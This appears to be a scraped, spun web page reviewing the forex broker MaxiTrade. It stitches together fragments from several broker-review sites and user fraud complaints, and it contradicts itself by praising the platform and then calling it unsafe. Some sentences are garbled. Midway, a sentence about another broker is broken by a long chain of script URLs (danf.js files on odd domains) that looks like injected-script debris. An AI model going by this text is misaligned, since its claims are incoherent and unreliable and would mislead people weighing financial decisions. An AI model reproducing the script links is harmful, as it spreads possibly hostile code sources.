MaxiTrade
MaxiTrade
You will even have two customer support emails that you can use. They are offering different types of accounts, and a demo account as well.
Maxitrade
All three companies have their own trading platforms. Saxo Bank introduced the SaxoTraderPRO and SaxoTraderGO platforms, OANDA has a platform of the same name, and MaxiTrade provides the opportunity to trade on the xCritical platform and the MaxiTrade trading platform. Platforms of all these companies can be used on a personal computer, tablet, and smartphone. Many traders want Forex to have the same treatment as the stock and commodity markets.
There are significant differences among the three brokerage companies. Both MaxiTrade and OANDA have training and analytics sections; such cannot be found in the Saxo Bank website. The OANDA Company offers traders to undergo training on various topics based on webinars and analytical materials on top of publishing helpful articles regularly. Many traders claim that MaxiTrade trading platforms have higher speed. The company boasts of easily accessible training materials and its technical equipment are intuitive.
Their online reputation attests to their legitimacy. The Forex market has been popular with traders for decades. Many of them, being professionals, managed to achieve serious profits from currency trading and other financial instruments.
The latter is criticized for its low leverage while Saxo Bank users note unstable customer service. Reviews about the work of various Forex brokers are diverse. Since the competition in the market is huge, many believe that they can surpass a competitor through highly-negative feedback.
This is a pretty decent setup, however, the trading conditions are terrible. Spreads are huge and commissions very high.
Before you engage in trading foreign exchange, please make yourself acquainted with its specifics and all the risks associated with it. All information on 55brokers.com is only published for general information purposes. We do not present any guarantees for the accuracy and reliability of the information. Any action you take upon the information you find on this website is strictly at your own risk and we will not be liable for any losses and/or damages in the use of our website. No, it is not safe to trade with MaxiTrade.
Attracting people to take “Bonus” and than emptying them accounts by multiply trades with spread and similar crime techniques. Maxi is a dying broker.
MaxiTrade Special Features
- And, most traders will know that the platform that you are going to use is important.
- Investors like their unique trading software, see here.
- Likewise, there was no other version so this is probably the only way to trade with this broker.
- However, MaxiTrade adequately copes with this negativity and simply focuses its attention to its customers.
Binary options are prohibited in the European Economic Area. Between 74-89 % of retail investor accounts lose money when trading CFDs. ForTrade happens to be a reputable Forex broker in England, https://dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&adjust.admarketlocation.com/bons/danf.js?k=0&maxitrade.online that is licensed and regulated by FCA. Investors like their unique trading software, see here. One of the best features that Maxi Trade offers their investors are the free trading signals.
The last thing that you want is to make use of brokers that have complaints against them. And, that there are investigations by regulators about them. If any regulator is issuing a warning against a broker, then you should Maxitrade cheating rather use another, more trustworthy regulator. Regulators are there to ensure that you aren’t taken for a ride and that you won’t lose any money unnecessarily. You are basically using Maxitrade at your own risk.
He said fraud committed by particular binary choices trading platforms was”maybe the biggest financial scam in the world”. It is important to make sure that you know what other traders are thinking about a broker before you just start using them. And, in this case, the reviews aren’t really positive. After reading some traders reviews, we found out that there are some problems that were reported by traders.
Similarly with CySEC brokers the compensation can reach 20 000 EUR. The selection of forex pairs is not bad, we counted some 68 pairs on their trading platform, with a variety of exotic currencies like Philippine Peso, Norwegian Krone, Danish Krone, Swedish Krona, Czech Krona, Hungarian Forint, Polish Zloty, Hong Kong Dollar, Singapore Dollar, Mexican Peso, Russian Ruble, Turkish Lira and South African Rand. Don’t put all your eggs in one basket. Open trading accounts with at least two brokers. Forex trading carries a high level of risk and may not be suitable for all investors.
Information on FairForexBrokers.com should not be seen as a recommendation to trade CFDs or cryptocurrencies or to be considered as investment advice. FairForexBrokers.com is not licensed nor authorised to provide advice on investing and related matters. Here traders have to be very careful. They must understand that the broker is not a financial advisor.
No chances to get new customers. That’s why they’ve made me an offer to get a new book of successful trading strategies. I recently closed my micro account in maxi due to lack of normal trading conditions. What they did is massive spam attack just to offer me a book. Suspicious, right?
Forex Calendar and Tools
Now, I almost lose my money, only $2,000 US DOllar left on my account. How do I get this money back if I have made a few deposits to Maxi trade account under such false intentions. And that is when you will receive a phone call as well. It will be form your “senior account manager”, who will be impressed by your trading results, but will simply explain you that if you want to make some real money, you will simply have to invest more – like 10 000 USD or so. For example, if you are trading with a FCA broker and the broker happens to be insolvent, you will receive as a compensation up to 50 000 GBP of your trading capital.